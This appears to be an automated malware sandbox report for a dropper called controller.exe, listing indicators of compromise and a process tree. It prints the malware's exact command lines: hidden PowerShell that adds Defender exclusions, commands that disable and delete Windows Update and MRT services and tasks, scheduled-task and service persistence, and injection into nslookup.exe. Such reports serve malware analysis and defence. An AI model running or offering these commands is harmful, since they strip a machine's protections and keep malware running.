1904	powershell.exe
4936	powershell.exe
4936	powershell.exe
4232	CoreGuardMgr3586.exe
4232	CoreGuardMgr3586.exe
3988	powershell.exe
3988	powershell.exe
1944	powershell.exe
1944	powershell.exe
3448	powershell.exe
3448	powershell.exe
3268	powershell.exe
3268	powershell.exe
2120	powershell.exe
2120	powershell.exe
1952	powershell.exe
1952	powershell.exe
2292	powershell.exe
2292	powershell.exe
4620	powershell.exe
4620	powershell.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe
3488	nslookup.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	5080	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeIncreaseQuotaPrivilege	1820	powershell.exe
Token: SeSecurityPrivilege	1820	powershell.exe
Token: SeTakeOwnershipPrivilege	1820	powershell.exe
Token: SeLoadDriverPrivilege	1820	powershell.exe
Token: SeSystemProfilePrivilege	1820	powershell.exe
Token: SeSystemtimePrivilege	1820	powershell.exe
Token: SeProfSingleProcessPrivilege	1820	powershell.exe
Token: SeIncBasePriorityPrivilege	1820	powershell.exe
Token: SeCreatePagefilePrivilege	1820	powershell.exe
Token: SeBackupPrivilege	1820	powershell.exe
Token: SeRestorePrivilege	1820	powershell.exe
Token: SeShutdownPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeSystemEnvironmentPrivilege	1820	powershell.exe
Token: SeRemoteShutdownPrivilege	1820	powershell.exe
Token: SeUndockPrivilege	1820	powershell.exe
Token: SeManageVolumePrivilege	1820	powershell.exe
Token: 33	1820	powershell.exe
Token: 34	1820	powershell.exe
Token: 35	1820	powershell.exe
Token: 36	1820	powershell.exe
Token: SeIncreaseQuotaPrivilege	1820	powershell.exe
Token: SeSecurityPrivilege	1820	powershell.exe
Token: SeTakeOwnershipPrivilege	1820	powershell.exe
Token: SeLoadDriverPrivilege	1820	powershell.exe
Token: SeSystemProfilePrivilege	1820	powershell.exe
Token: SeSystemtimePrivilege	1820	powershell.exe
Token: SeProfSingleProcessPrivilege	1820	powershell.exe
Token: SeIncBasePriorityPrivilege	1820	powershell.exe
Token: SeCreatePagefilePrivilege	1820	powershell.exe
Token: SeBackupPrivilege	1820	powershell.exe
Token: SeRestorePrivilege	1820	powershell.exe
Token: SeShutdownPrivilege	1820	powershell.exe
Token: SeDebugPrivilege	1820	powershell.exe
Token: SeSystemEnvironmentPrivilege	1820	powershell.exe
Token: SeRemoteShutdownPrivilege	1820	powershell.exe
Token: SeUndockPrivilege	1820	powershell.exe
Token: SeManageVolumePrivilege	1820	powershell.exe
Token: 33	1820	powershell.exe
Token: 34	1820	powershell.exe
Token: 35	1820	powershell.exe
Token: 36	1820	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeDebugPrivilege	4588	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeIncreaseQuotaPrivilege	4936	powershell.exe
Token: SeSecurityPrivilege	4936	powershell.exe
Token: SeTakeOwnershipPrivilege	4936	powershell.exe
Token: SeLoadDriverPrivilege	4936	powershell.exe
Token: SeSystemProfilePrivilege	4936	powershell.exe
Token: SeSystemtimePrivilege	4936	powershell.exe
Token: SeProfSingleProcessPrivilege	4936	powershell.exe
Token: SeIncBasePriorityPrivilege	4936	powershell.exe
Token: SeCreatePagefilePrivilege	4936	powershell.exe
Token: SeBackupPrivilege	4936	powershell.exe
Token: SeRestorePrivilege	4936	powershell.exe
Token: SeShutdownPrivilege	4936	powershell.exe
Token: SeDebugPrivilege	4936	powershell.exe
Token: SeSystemEnvironmentPrivilege	4936	powershell.exe
Token: SeRemoteShutdownPrivilege	4936	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
5036	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1244 wrote to memory of 5080	1244	controller.exe	86
PID 1244 wrote to memory of 1820	1244	controller.exe	88
PID 1244 wrote to memory of 3956	1244	controller.exe	91
PID 3956 wrote to memory of 3256	3956	cmd.exe	93
PID 3256 wrote to memory of 4812	3256	net.exe	94
PID 1244 wrote to memory of 3448	1244	controller.exe	95
PID 1244 wrote to memory of 1240	1244	controller.exe	97
PID 1244 wrote to memory of 4588	1244	controller.exe	99
PID 1244 wrote to memory of 1904	1244	controller.exe	101
PID 1244 wrote to memory of 4324	1244	controller.exe	103
PID 4324 wrote to memory of 3052	4324	m3bq8t5r.exe	104
PID 1244 wrote to memory of 4416	1244	controller.exe	105
PID 4416 wrote to memory of 364	4416	5qsazfq2ujr1.exe	106
PID 4416 wrote to memory of 4392	4416	5qsazfq2ujr1.exe	109
PID 4392 wrote to memory of 2560	4392	NetAgenta1a6e0.exe	111
PID 1244 wrote to memory of 4500	1244	controller.exe	114
PID 1244 wrote to memory of 4936	1244	controller.exe	115
PID 4500 wrote to memory of 2220	4500	odrv6oxwf.exe	117
PID 4500 wrote to memory of 4576	4500	odrv6oxwf.exe	119
PID 4500 wrote to memory of 4240	4500	odrv6oxwf.exe	121
PID 4232 wrote to memory of 3488	4232	CoreGuardMgr3586.exe	124
PID 3488 wrote to memory of 3988	3488	nslookup.exe	125
PID 3488 wrote to memory of 1944	3488	nslookup.exe	127
PID 3488 wrote to memory of 3448	3488	nslookup.exe	129
PID 3488 wrote to memory of 3268	3488	nslookup.exe	131
PID 3488 wrote to memory of 2120	3488	nslookup.exe	133
PID 3488 wrote to memory of 1952	3488	nslookup.exe	205
PID 3488 wrote to memory of 2292	3488	nslookup.exe	137
PID 3488 wrote to memory of 4620	3488	nslookup.exe	139
PID 3488 wrote to memory of 1544	3488	nslookup.exe	141
PID 3488 wrote to memory of 2172	3488	nslookup.exe	143
PID 3488 wrote to memory of 3796	3488	nslookup.exe	145
PID 3488 wrote to memory of 1368	3488	nslookup.exe	147
PID 3488 wrote to memory of 3324	3488	nslookup.exe	149
PID 3488 wrote to memory of 4884	3488	nslookup.exe	151
PID 3488 wrote to memory of 5108	3488	nslookup.exe	153
PID 3488 wrote to memory of 4384	3488	nslookup.exe	155
PID 3488 wrote to memory of 3184	3488	nslookup.exe	157
PID 3488 wrote to memory of 3636	3488	nslookup.exe	159
PID 3488 wrote to memory of 4948	3488	nslookup.exe	161
PID 3488 wrote to memory of 1880	3488	nslookup.exe	163
PID 3488 wrote to memory of 1928	3488	nslookup.exe	165
PID 3488 wrote to memory of 748	3488	nslookup.exe	167
PID 3488 wrote to memory of 920	3488	nslookup.exe	169
PID 3488 wrote to memory of 2464	3488	nslookup.exe	171
PID 3488 wrote to memory of 1164	3488	nslookup.exe	173
PID 3488 wrote to memory of 3420	3488	nslookup.exe	175
PID 3488 wrote to memory of 4656	3488	nslookup.exe	177
PID 3488 wrote to memory of 624	3488	nslookup.exe	179
PID 3488 wrote to memory of 4064	3488	nslookup.exe	181
PID 3488 wrote to memory of 4200	3488	nslookup.exe	183
PID 3488 wrote to memory of 1708	3488	nslookup.exe	185
PID 3488 wrote to memory of 1000	3488	nslookup.exe	187
PID 3488 wrote to memory of 3968	3488	nslookup.exe	189
PID 3488 wrote to memory of 3572	3488	nslookup.exe	191
PID 3488 wrote to memory of 4248	3488	nslookup.exe	193
PID 3488 wrote to memory of 4192	3488	nslookup.exe	195
PID 3488 wrote to memory of 4896	3488	nslookup.exe	197
PID 3488 wrote to memory of 1912	3488	nslookup.exe	199
PID 3488 wrote to memory of 1364	3488	nslookup.exe	201
PID 3488 wrote to memory of 4468	3488	nslookup.exe	203
PID 3488 wrote to memory of 1952	3488	nslookup.exe	205
PID 3488 wrote to memory of 3012	3488	nslookup.exe	207
PID 3488 wrote to memory of 1276	3488	nslookup.exe	208

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3296
- C:\Users\Admin\AppData\Local\Temp\controller.exe
  "C:\Users\Admin\AppData\Local\Temp\controller.exe"
  2⤵
  - Downloads MZ/PE file
  - Checks processor information in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Start-Sleep -Milliseconds 2500"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$g=@((Get-CimInstance Win32_VideoController -EA SilentlyContinue|Select-Object -ExpandProperty Name));$d=[int64]((Get-CimInstance Win32_LogicalDisk -Filter \"DeviceID='C:'\" -EA SilentlyContinue).Size);$pr=@(Get-Process -EA SilentlyContinue);$w=[bool]($pr|Where-Object {$_.ProcessName -eq 'CExecSvc'});@{g=($g -join '|');d=$d;p=$pr.Count;w=$w;n=(($pr|Select-Object -ExpandProperty ProcessName)-join '|')}|ConvertTo-Json -Compress"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3956
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3256
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"m3bq8t5r.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"am4hzzkox.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"5qsazfq2ujr1.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionProcess \"odrv6oxwf.exe\""
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1904
- - C:\Users\Admin\AppData\Local\Temp\m3bq8t5r.exe
    C:\Users\Admin\AppData\Local\Temp\m3bq8t5r.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Registers new Windows logon scripts automatically executed at logon.
    - Checks whether UAC is enabled
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Users\Admin\AppData\Local\Microsoft\Temp\A059EE23\SoftAgent339820.exe
      "C:\Users\Admin\AppData\Local\Microsoft\Temp\A059EE23\SoftAgent339820.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      PID:3052
- - C:\Users\Admin\AppData\Local\Temp\5qsazfq2ujr1.exe
    C:\Users\Admin\AppData\Local\Temp\5qsazfq2ujr1.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of WriteProcessMemory
    PID:4416
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /create /tn "OptimizeService_fb7c" /tr "C:\Users\Admin\AppData\Local\Common\Data\9E3D02D8\NetAgenta1a6e0.exe" /sc minute /mo 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:364
  - - C:\Users\Admin\AppData\Local\Common\Data\9E3D02D8\NetAgenta1a6e0.exe
      "C:\Users\Admin\AppData\Local\Common\Data\9E3D02D8\NetAgenta1a6e0.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious behavior: AddClipboardFormatListener
      Suspicious use of WriteProcessMemory
      PID:4392
    - - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /query /tn "OptimizeService_fb7c"
        5⤵
        
        PID:2560
- - C:\Users\Admin\AppData\Local\Temp\odrv6oxwf.exe
    C:\Users\Admin\AppData\Local\Temp\odrv6oxwf.exe
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of WriteProcessMemory
    PID:4500
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" delete "CheckUpdateSvc_a47d"
      4⤵
      Launches sc.exe
      PID:2220
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" create "CheckUpdateSvc_a47d" binpath= "C:\ProgramData\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe" start= "auto"
      4⤵
      Launches sc.exe
      PID:4576
  - - C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" start "CheckUpdateSvc_a47d"
      4⤵
      Launches sc.exe
      PID:4240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$a=New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\DesktopWindowManager.exe'; $t=New-ScheduledTaskTrigger -AtStartup; $p=New-ScheduledTaskPrincipal -UserId ([Security.Principal.WindowsIdentity]::GetCurrent().Name) -RunLevel Highest -LogonType S4U; $s=New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'DesktopWindowManager' -Action $a -Trigger $t -Principal $p -Settings $s -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4936
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:3268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:2292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4620
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1544
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2172
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3796
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1368
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\rvudfeddbh" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:3324
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4884
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:5108
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4384
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\fmndhgjmmd" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:3184
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3636
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:4948
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1880
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\hhtlgaxxae" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:1928
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:748
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config BITS start= disabled
    3⤵
    - Launches sc.exe
    PID:920
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop BITS
    3⤵
    - Launches sc.exe
    PID:2464
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\uygvhcbejv" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:1164
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
    3⤵
    PID:3420
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config dosvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4656
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop dosvc
    3⤵
    - Launches sc.exe
    PID:624
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\plrlpiyfrn" /s /f
    3⤵
    - Sets service image path in registry
    PID:4064
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4200
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
    3⤵
    PID:1708
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
    3⤵
    PID:1000
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
    3⤵
    PID:3968
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
    3⤵
    PID:3572
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
    3⤵
    PID:4248
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
    3⤵
    PID:4192
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
    3⤵
    PID:4896
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
    3⤵
    PID:1912
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
    3⤵
    PID:1364
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
    3⤵
    PID:4468
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
    3⤵
    PID:1952
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:3012
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:1276
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:1900
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:548
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:448
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:2084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:2464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:ProgramData -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:TEMP -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:2528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension '.sys' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:2292
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:4328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:2840
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:3536
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:4564
- C:\Windows\System32\svchost.exe
  "C:\Windows\System32\svchost.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:5036

C:\Users\Admin\AppData\Local\Common\Data\9E3D02D8\NetAgenta1a6e0.exe
C:\Users\Admin\AppData\Local\Common\Data\9E3D02D8\NetAgenta1a6e0.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
PID:1912

C:\ProgramData\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe
C:\ProgramData\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
